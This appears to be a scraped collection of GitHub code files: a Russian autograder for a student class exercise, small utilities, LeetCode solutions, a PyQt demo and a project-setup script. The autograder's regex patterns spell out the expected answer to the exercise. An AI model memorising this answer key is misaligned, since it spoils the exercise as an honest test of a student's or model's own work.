{"seq_id":"17171876902","text":"import pytest\nimport re\n\n# здесь должен быть импорт Решения студента\nimport author as user_module\n# импорт строк, которые предоставляет платформа (для проверки работы тестов я создала temp.py\n# с такими строками)\nfrom temp import user_code, output \n\n\n# Тестирование модуля\nclass TestUserModule():\n    def test_class_exists(self):\n        try:\n            from author import Contact\n        except ImportError:\n            assert False, 'Убедитесь, что класс Contact cуществует (проверьте нет ли опечаток)'\n    def test_func_not_exists(self):\n        try:\n            from author import print_contact\n        except ImportError:\n            assert True, 'Убедитесь, что удалили функцию print_contact'\n    \n    def test_methods_exist(self):\n        assert '__init__' in user_module.Contact.__dict__ , 'Проверьте, что вы не удалили метод __init__ в классе Contact'\n        assert 'show_contact' in user_module.Contact.__dict__ , (\n            'Убедитесь, что метод show_contact cуществует (проверьте нет ли опечаток)'\n        )\n    \n    def test_objcets(self):\n        try:\n            from author import mike, vlad\n        except ImportError:\n            assert False, 'Убедитесь, что cоздали объекты mike и vlad'\n        assert isinstance(user_module.mike, user_module.Contact), (\n            'Убедитeсь что объект mike является экземпляром класса Сontact')\n        assert isinstance(user_module.vlad, user_module.Contact), (\n            'Убедитeсь что объект vlad является экземпляром класса Сontact'\n        )\n        parametres = ['name', 'phone', 'birthday', 'address']\n        for param in parametres:\n            assert hasattr(user_module.vlad, param) and hasattr(user_module.mike, param), (\n                f'Проверьте, что вы не удалили необходимые параметры {parametres}'\n                f'в классе и при создании объктов mike и vlad передали их'\n            )\n\n    def test_print_funcs_work(self, capsys):\n        vlad = user_module.Contact(\"Владимир Маяковский\", \"73-88\", \"19.07.1893\", \"Россия, Москва, Лубянский проезд, д. 3, кв. 12\")\n        user_module.vlad.show_contact()\n        capture = capsys.readouterr()\n        correct_output = [\n        'Создаём новый контакт Владимир Маяковский',\n        'Владимир Маяковский — адрес: Россия, Москва, Лубянский проезд, д. 3, кв. 12, телефон: 73-88, день рождения: 19.07.1893'\n    ]\n        problem1 = ('Убедитесь, что при создании экземпляра класса выводите'\n                   '`Создаём новый контакт <name>`')\n        problem2 = ('Убедитесь, что при вызове метода show_contact выводите'\n                    'все параметры из прекода в нужном порядке')\n        assert correct_output[0] in capture.out, problem1\n        assert correct_output[1] in capture.out, problem2\n        \n\n\n# Тестирование строк user_code и output\n# (если я правильно поняла условие, эти строки передаются платформой)\ndef test_student_code():\n    patterns = {\n    r'class Contact' : 'Проверьте, что создали класс Contact',\n    r'def __init__' : 'Проверьте, что вы не удалили метод __init__ в классе Contact',\n    r'print\\(f\"Создаём новый контакт {name}\"\\)': 'Проверьте, что вы не удалили print из метода __init__ в классе Contact',\n    r'def show_contact\\(self\\)' : 'Убедитесь, что создали мeтод show_contact с параметром self',\n    r'print\\(f\"{self\\.name} — адрес: {self\\.address}, телефон: {self\\.phone}, день рождения: {self\\.birthday}\"\\)':\n     'Убедитесь, что в методе show_contact вы выводите строку из функции print_contact, заменив имя конкретного объекта на `self`',\n    r'mike\\s*=\\s*Contact\\(\"Михаил Булгаков\",\\s*\"2-03-27\",\\s*\"15\\.05\\.1891\",\\s*\"Россия, Москва, Большая Пироговская, дом 35б, кв\\. 6\"\\)':\n     'Убедитесь, что создали экземпляр класса Contact mike с параметрами из прекода',\n    r'vlad\\s*=\\s*Contact\\(\"Владимир Маяковский\",\\s*\"73-88\",\\s*\"19\\.07\\.1893\",\\s*\"Россия, Москва, Лубянский проезд, д\\. 3, кв\\. 12\"\\)':\n     'Убедитесь, что создали экземпляр класса Contact vlad с параметрами из прекода',\n    r'vlad\\.show_contact\\(\\)':'Убедитесь, что вызвали метод show_contact для объекта vlad',\n    r'mike\\.show_contact\\(\\)':'Убедитесь, что вызвали метод show_contact для объекта mike'\n}\n    for key in patterns:\n        assert re.findall(f'{key}', user_code) != [], patterns[key]\n    \n    assert re.findall(r'def print_contact', user_code) == [], 'Убедитесь, что удалили функцию print_contact'\n\ndef test_student_output():\n    correct_output = [\n        'Создаём новый контакт Михаил Булгаков',\n        'Создаём новый контакт Владимир Маяковский',\n        'Михаил Булгаков — адрес: Россия, Москва, Большая Пироговская, дом 35б, кв. 6, телефон: 2-03-27, день рождения: 15.05.1891',\n        'Владимир Маяковский — адрес: Россия, Москва, Лубянский проезд, д. 3, кв. 12, телефон: 73-88, день рождения: 19.07.1893'\n    ]\n    problem1 = ('Убедитесь, что при создании экземпляра класса выводите'\n                '`Создаём новый контакт <name>`')\n    problem2 = ('Убедитесь, что при вызове метода show_contact выводите'\n                'все параметры из прекода в нужном порядке')\n    assert correct_output[0] in output, problem1\n    assert correct_output[1] in output, problem1\n    assert correct_output[2] in output, problem2\n    assert correct_output[3] in output, problem2\n","repo_name":"Viktrols/tests_author","sub_path":"task_2/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6983,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"70443767784","text":"from __future__ import annotations\n\nimport pytest\n\nfrom subtitles_translator.available_languages import AvailableLanguages\nfrom subtitles_translator.translator import Subtitles, Translator\n\n\n@pytest.fixture\ndef raw_subtitles() -> list[str]:\n    raw_str = \"\"\"\n1\n00:00:00,498 --> 00:00:02,827\nHello World!\n\"\"\"\n    raw_subtitles = raw_str.split(\"\\n\")\n\n    return raw_subtitles\n\n\n@pytest.fixture\ndef subtitles(raw_subtitles) -> Subtitles:\n    subtitles = Subtitles(raw_subtitles)\n\n    return subtitles\n\n\n@pytest.fixture\ndef translator() -> Translator:\n    translator = Translator(AvailableLanguages(\"en\"), AvailableLanguages(\"fr\"))\n\n    return translator\n\n\ndef test_translate():\n    translator = Translator(source_language=AvailableLanguages(\"en\"), target_language=AvailableLanguages(\"fr\"))\n    source_test = \"Hello World!\"\n    translated_test = translator.translate(source_test)\n    assert translated_test == \"Bonjour le monde!\"\n\n\ndef test_translate_subtitles(translator, subtitles):\n    translator.translate_subtitles(subtitles)\n    assert subtitles.full_text_lines[3] == \"Bonjour le monde!\"\n","repo_name":"TDHM/Subtitles-Translator","sub_path":"tests/test_translator.py","file_name":"test_translator.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"36"}
{"seq_id":"34326082222","text":"from random import choice\n\nfrom emoji import emojize\nfrom telegram import ReplyKeyboardMarkup, KeyboardButton\nfrom utils import *\n\nimport settings\n\ndef get_user_emoji(user_data):\n    if 'emoji' in user_data:\n        return user_data['emoji']\n    else:\n        user_data['emoji'] = emojize(choice(settings.USER_EMOJI), use_aliases=True)\n        return user_data['emoji']\n\ndef get_keyboard():\n    contact_button = KeyboardButton('Отправить контакты', request_contact=True)\n    location_button = KeyboardButton('Отправить геолокацию', request_location=True)\n    my_keyboard = ReplyKeyboardMarkup([\n                                        ['Хатю котика', 'Сменить аватар'],\n                                        [contact_button, location_button]\n                                       ], resize_keyboard=True\n                                      )\n    return my_keyboard","repo_name":"AntsiferovBogdan/bot","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"30466634147","text":"# Given an array of size n, find the majority element. The majority element is the element that appears more than ⌊ n/2 ⌋ times.\n#\n# You may assume that the array is non-empty and the majority element always exist in the array.\n\n\n#用hash\nclass Solution(object):\n    def majorityElement(self, nums):\n        \"\"\"\n        :type nums: List[int]\n        :rtype: int\n        \"\"\"\n        le = len(nums)\n        hash = {}\n        for num in nums:\n            if hash.has_key(num):\n                hash[num] += 1\n                if hash[num] > le / 2:\n                    return num\n            else:\n                hash[num] = 1\n                if hash[num] > le / 2:\n                    return num\n\n\nclass Solution(object):\n    def majorityElement(self, A):\n        # class Solution(object):\n        # def majority(A):\n        le = len(A)\n        left = self.helper(A)\n        if left != [] and A.count(left[0]) > le / 2:\n            return left[0]\n        else:\n            return None\n\n    def helper(self, A):\n        le = len(A)\n        if le == 2:\n            if A[0] != A[1]:\n                return []\n            else:\n                return A\n        if le == 1:\n            return A\n        left = self.helper(A[:le / 2 + 1])\n        right = self.helper(A[le / 2 + 1:])\n        if len(left) == len(right):\n            if left == [] or left[0] != right[0]:\n                return []\n            else:\n                return left + right\n        else:\n            i = 0\n            j = 0\n            while i < len(left) and j < len(right):\n                if left[i] != right[j]:\n                    del left[i]\n                    del right[j]\n                else:\n                    break\n            return left + right\n\ndef majorityElement(nums):\n    count = 0\n    candidate1 = 0\n    for num in nums:    #找到挨着的一样的数,这个数出现的次数还大于一半\n        if candidate1 == num:\n            count +=1\n        elif count == 0:\n            candidate1 = num\n            count +=1\n        elif candidate1 != num:\n            count-=1\n    fre = nums.count(candidate1)\n    if fre>len(nums)/2:\n        return candidate1\n    else:\n        return -1\n","repo_name":"dundunmao/LeetCode2019","sub_path":"169. Majority Element.py","file_name":"169. Majority Element.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"25348360454","text":"\"\"\"Utility functions for Markive.\"\"\"\n\n\nimport datetime\nimport os\n\nimport yaml\n\n\ndef get_current_entry(markive_folder: str, date=None) -> str:\n    \"\"\"Get the current entry based on today's date.\n\n    Arguments:\n        markive_folder: String path of where entries are stored\n\n    Returns:\n        entry: Today's entry as a filepath.\n    \"\"\"\n    date = date if date else datetime.datetime.now()\n    month = os.path.join(markive_folder, date.strftime(\"%B-%Y\"))\n    entry = os.path.join(month, date.strftime(\"%b-%d.md\"))\n    return entry\n\n\ndef read_config(markive_folder: str) -> dict:\n    \"\"\"Read the configuration YAML file from the Markive folder.\n\n    Arguments:\n        markive_folder: String path of the markive folder.\n\n    Returns:\n        config: Dictionary of configuration parameters.\n    \"\"\"\n    config = {\n        \"pre_write\": '',\n        \"post_write\": '',\n        \"template\": (\"---\\n\"\n                     \"date: %Y-%m-%d\\n\"\n                     \"---\\n\"),\n    }\n    config_file = os.path.join(markive_folder, \"config.yml\")\n    if os.path.exists(config_file):\n        with open(config_file, 'r') as file:\n            content = yaml.safe_load(file.read())\n            if content:\n                config.update(content)\n    return config\n","repo_name":"madelyneriksen/markive","sub_path":"markive/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"13989582592","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nimport random\nfrom PyQt5.QtWidgets import QWidget, QApplication\nfrom PyQt5.QtGui import QPainter\nfrom PyQt5.QtCore import Qt\n\n\nclass MainWindow(QWidget):\n    def __init__(self):\n        super().__init__()\n        self.initUI()\n\n    def initUI(self):\n        self.setGeometry(300, 300, 250, 150)\n        self.setWindowTitle('Drawing points')\n        self.show()\n\n    # 绘图是在paintEvent()方法中完成。\n    # QPainter 对象放在begin()方法和end()方法之间，它执行部件上的低层次的绘画和其他绘图设备。\n    # 实际的绘画我们委托给drawText()方法。\n    def paintEvent(self, event):\n        painter = QPainter()\n        painter.begin(self)\n        self.drawPoints(event, painter)\n        painter.end()\n\n    def drawPoints(self, event, painter):\n        painter.setPen(Qt.red)      # 设置画笔颜色为红色\n        size = self.size()          # 获取当前窗口大小\n\n        for i in range(1000):\n            x = random.randint(1, size.width()-1)\n            y = random.randint(1, size.height()-1)\n            painter.drawPoint(x, y)\n\n\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    win = MainWindow()\n    sys.exit(app.exec_())\n","repo_name":"shellever/Python3Learning","sub_path":"thirdparty/pyqt5/painting/drawpoints.py","file_name":"drawpoints.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"6007389580","text":"from typing import Dict, Union\n\nfrom first_distance import FirstDistance\nfrom first_time import FirstTime\n\n\nclass FirstPace(object):\n\n    def __init__(self, minutes: int = 0, seconds: int = 0, length_unit: str = 'mile'):\n\n        \"\"\"\n        Constructor\n\n        :param minutes:\n        :type minutes: int\n        :param seconds:\n        :type seconds: int\n        :param length_unit:\n        :type length_unit: str\n        :return: instance of FirstPace\n        :rtype: FirstPace\n        \"\"\"\n        if not FirstDistance.is_valid_unit(unit=length_unit):\n            raise ValueError('\"{}\" is not a valid length unit'.format(length_unit))\n        self.time = FirstTime(minutes=minutes, seconds=seconds)\n        self.length_unit = length_unit\n\n    def __str__(self):\n\n        return str(self.time) + ' min per ' + self.length_unit\n\n    def to_json(self, output_unit: Union[str, None] = None) -> Dict:\n\n        if output_unit and output_unit != self.length_unit:\n            dist = FirstDistance(1.0, output_unit)\n            seconds_time = self.to_time(dist, 'second')\n            output_pace = FirstPace(seconds=round(seconds_time), length_unit=output_unit)\n            return {'pace': str(output_pace), 'length_unit': output_unit, 'time': output_pace.time.to_json()}\n        else:\n            return {'pace': str(self), 'length_unit': self.length_unit, 'time': self.time.to_json()}\n\n    def to_html(self, output_unit: Union[str, None] = None) -> str:\n\n        if output_unit and output_unit != self.length_unit:\n            dist = FirstDistance(1.0, output_unit)\n            seconds_time = self.to_time(dist, 'second')\n            output_pace = FirstPace(seconds=round(seconds_time), length_unit=output_unit)\n            return '{} min per {}'.format(str(output_pace.time), output_unit)\n        else:\n            return '{} min per {}'.format(str(self.time), self.length_unit)\n\n    @classmethod\n    def from_string(cls, str_input: str):\n\n        \"\"\"\n        Constructor: Instantiate FirstPace from a string input\n        \n        :param str_input: format - '0:MM:SS per unit'\n        :type str_input: str\n        :return: instance of FirstPace\n        :rtype: FirstPace\n        \"\"\"\n        tokens = str_input.split()\n\n        p_time = FirstTime.from_string(string=tokens[0])  # pass the exception on\n        length_unit = tokens[-1]\n\n        if not FirstDistance.is_valid_unit(unit=tokens[-1]):\n            raise ValueError('\"{}\" is not a valid length unit'.format(length_unit))\n\n        return cls(minutes=p_time.seconds//60, seconds=p_time.seconds % 60, length_unit=length_unit)\n\n    @classmethod\n    def copy(cls, from_pace: 'FirstPace'):\n\n        return cls.from_string(str(from_pace))\n\n    def to_time(self, distance: FirstDistance, unit: str) -> float:\n\n        \"\"\"\n        How much time will take to run a given distance with this pace\n\n        :param distance: the distance\n        :type distance: FirstDistance\n        :param unit: the desired unit of the result\n        :type unit: str\n        :return: the time value for this unit\n        :rtype: float\n        \"\"\"\n        factor = distance.convert_to(unit=self.length_unit)\n        seconds = self.time.total_seconds() * factor\n        result_time = FirstTime(seconds=round(seconds))\n        return result_time.convert_to(unit=unit)\n\n    def to_distance(self, time: FirstTime, unit: str) -> float:\n\n        \"\"\"\n        How far you run given duration with this pace\n        \n        :param time: the duration\n        :type time: FirstTime\n        :param unit: the desired unit of the result\n        :type unit: str\n        :return: the distance value for this unit\n        :rtype: float\n        \"\"\"\n        factor = time.total_seconds()/self.time.total_seconds()\n        result_distance = FirstDistance(distance=factor, unit=self.length_unit)\n        return result_distance.convert_to(unit=unit)\n\n    @classmethod\n    def from_time_distance(cls, time: FirstTime, distance: FirstDistance, unit: str = None):\n\n        \"\"\"\n        Constructor: Initiate FirstPace from time/distance\n\n        :param time:\n        :type time: FirstTime\n        :param distance:\n        :type distance: FirstDistance\n        :param unit: length unit\n        :type unit: str\n        :return: instance to FirstPace\n        :rtype: FirstPace\n        \"\"\"\n        if unit is None:\n            unit = distance.unit\n        factor = distance.convert_to(unit=unit)  # 400m with unit = mile will become ~0.25\n        seconds = time.total_seconds() / factor  # 2 minutes for 400m will give ~(2*60)/0.25\n\n        return cls(minutes=int(seconds//60), seconds=round(seconds % 60), length_unit=unit)\n\n    def increment(self, seconds: int) -> None:\n\n        \"\"\"\n        Increment the pace by number of seconds - for instructions like 'RP+15'\n\n        :param seconds:\n        :type seconds: int\n        \"\"\"\n        self.time = FirstTime(seconds=self.time.seconds + seconds)\n\n    def meters_per_second_delta(self, delta_in_seconds: int) -> float:\n\n        \"\"\"\n        Convert to speed in m/s for tcx with delta for tolerance\n\n        :param delta_in_seconds:\n        :type delta_in_seconds: int\n        :return: calculated speed in m/s\n        :rtype: float\n        \"\"\"\n        seconds = self.time.total_seconds() + delta_in_seconds\n        meters = FirstDistance(distance=1.0, unit=self.length_unit).convert_to(unit='m')\n\n        return meters / seconds\n","repo_name":"bendaten/first_trainer","sub_path":"src/first_pace.py","file_name":"first_pace.py","file_ext":"py","file_size_in_byte":5376,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"25305966057","text":"__author__ = 'diegopinheiro'\n\nfrom common.attribute_converter import AttributeConverter\nfrom common.attribute import Attribute\nfrom common.float_converter_2 import FloatConverter2\n\n\nclass Rule():\n\n    def __init__(self,\n                 input_attributes=list(),\n                 output_attributes=list(),\n                 bit_string=list()):\n        self.input_attributes = input_attributes\n        self.output_attributes = output_attributes\n        self.bit_string = bit_string\n        self.antecedents = dict()\n        self.consequents = dict()\n        self.accuracy = 0\n        self.coverage = 0\n        self.initialize_rule()\n\n    def initialize_rule(self):\n        attribute_index = 0\n        antecedents = dict()\n        for attribute in self.input_attributes:\n            antecedent = list()\n            if attribute.type == Attribute.TYPE_DISCRETE:\n                attribute_number_bits = AttributeConverter.get_number_representation(attribute)\n                attribute_bits = self.bit_string[attribute_index:attribute_index+attribute_number_bits]\n                for bit_position in range(0, len(attribute_bits)):\n                    if attribute_bits[bit_position] == 1:\n                        category_bits = [0] * len(attribute_bits)\n                        category_bits[bit_position] = 1\n                        antecedent.append(AttributeConverter.get_attribute_category(attribute,category_bits))\n                antecedents[attribute] = antecedent\n                attribute_index += attribute_number_bits\n\n            elif attribute.type == Attribute.TYPE_CONTINUOUS:\n                attribute_number_bits = FloatConverter2.get_number_representation()\n                attribute_bits_low = FloatConverter2.get_value(self.bit_string[attribute_index:attribute_index+attribute_number_bits])\n                attribute_bits_high = FloatConverter2.get_value(self.bit_string[attribute_index+attribute_number_bits:attribute_index+2*attribute_number_bits])\n\n                antecedents[attribute] = [attribute_bits_low, attribute_bits_high]\n                attribute_index += 2 * attribute_number_bits\n\n        consequents = dict()\n        for attribute in self.output_attributes:\n            # attribute_number_bits = AttributeConverter.get_number_representation(attribute)\n            attribute_bits = int(self.bit_string[attribute_index][0])\n            # for bit_position in range(0, len(attribute_bits)):\n            #     if attribute_bits[bit_position] == 1:\n            #         consequents[attribute] = AttributeConverter.get_attribute_category(attribute, attribute_bits)\n                    # break\n            consequents[attribute] = attribute.categories[attribute_bits]\n            attribute_index += 1\n\n\n        self.antecedents = antecedents\n        self.consequents = consequents\n\n    def is_valid(self):\n        if len(self.consequents.keys()) != len(self.output_attributes) or len(self.antecedents.keys()) != len(self.input_attributes):\n            return False\n\n        is_valid = True\n        for a in self.antecedents.keys():\n            if a.type == Attribute.TYPE_DISCRETE:\n                if len(self.antecedents[a]) == 0:\n                    is_valid = False\n                    break\n            elif a.type == Attribute.TYPE_CONTINUOUS:\n                low_boundary = self.antecedents[a][0]\n                high_boundary = self.antecedents[a][1]\n                if low_boundary == float(\"Nan\") or high_boundary == float(\"Nan\"):\n                    is_valid = False\n                    break\n\n                if low_boundary > high_boundary:\n                    is_valid = False\n                    break\n\n        return is_valid\n\n    def is_antecedents_match(self, register):\n        is_applied = True\n        for attribute in self.antecedents.keys():\n            value = self.antecedents[attribute]\n            if attribute.type == Attribute.TYPE_DISCRETE:\n                if not value.__contains__(register[attribute.index]):\n                    is_applied = False\n                    break\n            elif attribute.type == Attribute.TYPE_CONTINUOUS:\n                low_boundary = value[0]\n                high_boundary = value[1]\n                desired = float(register[attribute.index])\n                if not low_boundary <= desired <= high_boundary:\n                    is_applied = False\n                    break\n        return is_applied\n\n    def print_rule(self):\n        rule_string = \"\"\n        for attribute in self.antecedents:\n            rule_string = rule_string.replace(\"?\", \"^\")\n            if attribute.type == Attribute.TYPE_DISCRETE:\n                rule_string += attribute.name + \" in \" + str(self.antecedents[attribute]) + \" ? \"\n            elif attribute.type == Attribute.TYPE_CONTINUOUS:\n                rule_string += str(self.antecedents[attribute][0]) + \" <= \" + attribute.name + \" <= \" + str(self.antecedents[attribute][1]) + \" ? \"\n        rule_string = rule_string.replace(\"?\", \"=>\")\n\n        for attribute in self.consequents:\n            rule_string = rule_string.replace(\"?\", \"^\")\n            if attribute.type == Attribute.TYPE_DISCRETE:\n                rule_string += attribute.name + \" = \" + str(self.consequents[attribute]) + \" \"\n            elif attribute.type == Attribute.TYPE_CONTINUOUS:\n                rule_string += str(self.consequents[attribute][0]) + \" <= \" + attribute.name + \" <= \" + str(self.consequents[attribute][1]) + \" ? \"\n        # rule_string = rule_string.replace(\"?\", \"=>\")\n\n\n        # rule_string += \" \" + str(self.target_distribution)\n        return rule_string\n\n\n\n\n\n","repo_name":"diegompin/genetic_algorithm","sub_path":"genetic_algorithms/rule.py","file_name":"rule.py","file_ext":"py","file_size_in_byte":5570,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"74353816742","text":"# after createing the model, then we want to predict for the new data we wil basically write \r\n# over here \r\n\r\nimport sys\r\nimport pandas as pd\r\n\r\nfrom src.exception import CustomeException\r\nfrom src.utils import load_object\r\n\r\nclass PredictPipeline:\r\n    def __init__(self):\r\n        pass\r\n    def pradict(self, features):\r\n        try:\r\n            model_path = 'artifacts\\model.pkl'\r\n            preprocessor_path = 'artifacts\\preprocessor.pkl'\r\n            model = load_object(file_path = model_path)\r\n            preprocessor = load_object(file_path = preprocessor_path)\r\n            data_scaled = preprocessor.transform(features)\r\n            preds = model.predict(data_scaled)\r\n            return preds \r\n        except Exception as e:\r\n            raise CustomeException(e, sys)\r\n        \r\n# this is class is responsinble to get the data from the front end and then map into backend \r\nclass CustomData:\r\n    def __init__(self,\r\n                 gender: str,\r\n                 race_ethnicity:str,\r\n                 parental_level_of_education,\r\n                 lunch: str,\r\n                 test_preparation_course: str,\r\n                 reading_score: int,\r\n                 writing_score: int,\r\n                 ):\r\n        self.gender = gender\r\n        self.race_ethnicity = race_ethnicity\r\n        self.parental_level_of_education = parental_level_of_education\r\n        self.lunch = lunch\r\n        self.test_preparation_course = test_preparation_course\r\n        self.reading_score = reading_score\r\n        self.writing_score = writing_score\r\n\r\n    # return all the data form of daa frame \r\n    def get_data_as_frame(self):\r\n        try:\r\n            custom_data_input_dict = {\r\n                    \"gender\": [self.gender],\r\n                    \"race_ethnicity\": [self.race_ethnicity],\r\n                    \"parental_level_of_education\": [self.parental_level_of_education],\r\n                    \"lunch\": [self.lunch],\r\n                    \"test_preparation_course\": [self.test_preparation_course],\r\n                    \"reading_score\": [self.reading_score],\r\n                    \"writing_score\": [self.writing_score],\r\n            }\r\n\r\n            return pd.DataFrame(custom_data_input_dict)\r\n        except Exception as e:\r\n            raise CustomeException(e,sys)","repo_name":"NageWC1/Student-Perfomance-Indicator-","sub_path":"src/pipeline/predict_pipeline.py","file_name":"predict_pipeline.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"70441959463","text":"'''\nSummary - Attempt #1\n\nYour own answer?: Yes\nTime spent: 35m\n\nTime Complexity: O(N^2) because although it traverses the list only once, popping and inserting element may take O(N)\nRuntime: 62 ms, faster than 9.37% of Python3 online submissions for Sort Colors.\nSpace Complexity: O(1)\nMemory Usage: 14.1 MB, less than 91.84% of Python3 online submissions for Sort Colors.\n'''\n\nimport sys\nfrom typing import List\ninput = sys.stdin.readline\n\nclass Solution:\n    def __init__(self) -> None:\n        nums = [2,0,2,1,1,0]\n        self.sortColors(nums)\n        print(nums)\n\n    def sortColors(self, nums: List[int]) -> None:\n        idx = 0 \n        tracking = -1\n        while idx < len(nums):\n            if tracking == idx:\n                break\n            if nums[idx] == 0:\n                nums.pop(idx)\n                nums.insert(0, 0)\n                idx += 1\n            elif nums[idx] == 1:\n                idx += 1\n            else:\n                nums.pop(idx)\n                nums.append(2)\n                if tracking == -1:\n                    tracking = len(nums)\n                tracking -= 1\n\nSolution()\n","repo_name":"cjy13753/algo-solutions","sub_path":"leetcode/solution_75.py","file_name":"solution_75.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"20909992364","text":"import argparse\nimport os\nimport pathlib\nimport shutil\nimport stat\nimport subprocess\nimport sys\nimport typing\n\nfrom loguru import logger\n\naliases = {\n    \"gs\": \"git status\",\n    \"gl\": \"git log --oneline\",\n}  # These don't have any actual useful use\n\nGIT_TEMPLATE_URL = \"https://github.com/Nipa-Code/python-project-template.git\"\n\n\"\"\"\nNOTE: Missing to Configure pre-commit.\n\"\"\"\n\n\ndef read_user_args(args: str) -> argparse.Namespace:\n    parser = argparse.ArgumentParser(\n        description=\"Used to config the name of the project and possibly other stuff.\"\n    )\n    parser.add_argument(\n        \"-n\",\n        \"--name\",\n        action=\"store\",\n        default=\"new_project\",\n        required=False,\n        help=\"The name of new project.\",\n    )\n\n    parser.add_argument(\n        \"-e\",\n        \"--allow-only-empty\",\n        action=\"store_true\",\n        default=True,\n        required=False,\n        help=\"If True, will not create folders if directory is not empty.\",\n    )\n\n    parser.add_argument(\n        \"-u\",\n        \"--url\",\n        action=\"store\",\n        default=GIT_TEMPLATE_URL,\n        required=False,\n        help=\"The url of the template to clone. By default using some template of mine.\",\n    )\n\n    return parser.parse_args(args)\n\n\ndef add_alias(name: str = \"setup-project\", command: str = None):\n    \"\"\"\n    Add new alias to windows powershell to execute commands with simple shortcuts.\n    :param name: The name of new alias.\n    :param command: The command to execute.\n    \"\"\"\n    if name is not None and command is not None:\n        logger.info(f\"adding alias {name} to {command}\")\n        subprocess.run(f\"New-Alias {name} '{command}'\", shell=True, capture_output=True)\n        aliases[name] = command\n\n\ndef del_even_readonly(action, name, exc):\n    \"\"\"\n    Edit file permissions and remove that file if it's read-only.\n    :param name: The name of the file to be removed.\n    \"\"\"\n    os.chmod(name, stat.S_IWRITE)\n    os.remove(name)\n\n\ndef create_template(\n    name: typing.Optional[str] = \"new_project\",\n    allow_only_empty: typing.Optional[bool] = True,\n    url: typing.Optional[str] = GIT_TEMPLATE_URL,\n):\n    \"\"\"\n    Function to create project templates automatically. Second param is kind of useless for now.\n    -> create folders\n    -> clone project template from Github\n    -> initialize git\n    -> initialize poetry\n    :param name: The name of new project.\n    :param allow_only_empty: If True, will not create folders if directory is not empty.\n    :param url: The url of the project template, default is set on codebase.\n    \"\"\"\n    if not os.listdir():  # check if path is empty. NOTE: add \"not\" if it is not there\n        logger.info(\n            f\"Creating template for project: '{name}', from: '{url}', Directory is empty\"\n        )\n        subprocess.run(f\"mkdir {name}\", shell=True, capture_output=True)\n        logger.debug(\"Created project folder\")\n\n        subprocess.run(\n            \"git init\",  # run init with the path of git\n            shell=True,\n            capture_output=True,\n        )\n        logger.info(\"Initialized git\")\n\n        subprocess.run(\n            \"git -b main\",\n            shell=True,\n            capture_output=True,\n        )\n        logger.info(\"Switched branch to 'main'\")\n\n        subprocess.run(f\"git clone {url}\", shell=True, capture_output=True)\n        logger.info(\"Cloned project template files\")\n\n        files = os.listdir(\"./python-project-template\")\n        files.__delitem__(files.index(\".git\"))  # delete .git from the files to move\n        for file in files:\n            shutil.move(f\"./python-project-template/{file}\", \".\")\n\n        # Delete the folder \"python-project-template\"\n        if os.path.exists(\"./python-project-template\"):\n            shutil.rmtree(\"./python-project-template\", onerror=del_even_readonly)\n\n        logger.debug(\"Successfully pulled project files from Github and moved them.\")\n\n        logger.debug(\"Running 'poetry install', this may take a while...\")\n        subprocess.run(\"poetry install\", shell=True, capture_output=True, timeout=180.0)\n        logger.info(\"Installed poetry environment packages\")\n\n        subprocess.run(\n            \"git add .\",\n            shell=True,\n            capture_output=True,\n        )\n        logger.debug(\"Added all files to git\")\n\n        subprocess.run(\n            \"git commit -m 'initial commit'\",\n            shell=True,\n            capture_output=True,\n        )\n        logger.debug(\"Succesfully ran git commit, files are now saved to git\")\n        logger.info(\"Finished setup, ready to go!\")\n    else:\n        logger.warning(\"Not an empty directory, aborting!\")\n\n\nif __name__ == \"__main__\":\n    # read args when this file is invoked\n    args = read_user_args(sys.argv[1:])\n    create_template(args.name, allow_only_empty=True, url=args.url)\n","repo_name":"Nipa-Code/python-project-templator","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":4798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"7775760609","text":"import sys\n\nm = int(input())\nn = int(input())\n\nl = []\n\nfor i in range(m):\n  l.append(list(map(int, input().split())))\n\npast = [[None for i in range(n)] for j in range(m)]\n\n\nfor j in range(len(l[0])-1,-1,-1):\n  for i in range(len(l)-1, -1,-1):\n   \n    if(j==len(l[0])-1):\n      past[i][j] = l[i][j]\n     \n    elif(i==0):\n      past[i][j] =l[i][j] + max(past[i+1][j+1],past[i][j+1])\n   \n    elif(i==len(l)-1):\n      \n      past[i][j] =l[i][j] + max(past[i-1][j+1],past[i][j+1])\n     \n    else:\n      past[i][j] =l[i][j] +max(past[i-1][j+1],past[i][j+1], past[i+1][j+1])\n\n     \nmx = -1*sys.maxsize   \nfor i in past:\n  if(i[0] > mx):\n    mx = i[0]   \n    \nprint(mx)\n  \n  ","repo_name":"nishu959/Pepcodingdynamicprogramming","sub_path":"maximumgoldingmtabular.py","file_name":"maximumgoldingmtabular.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
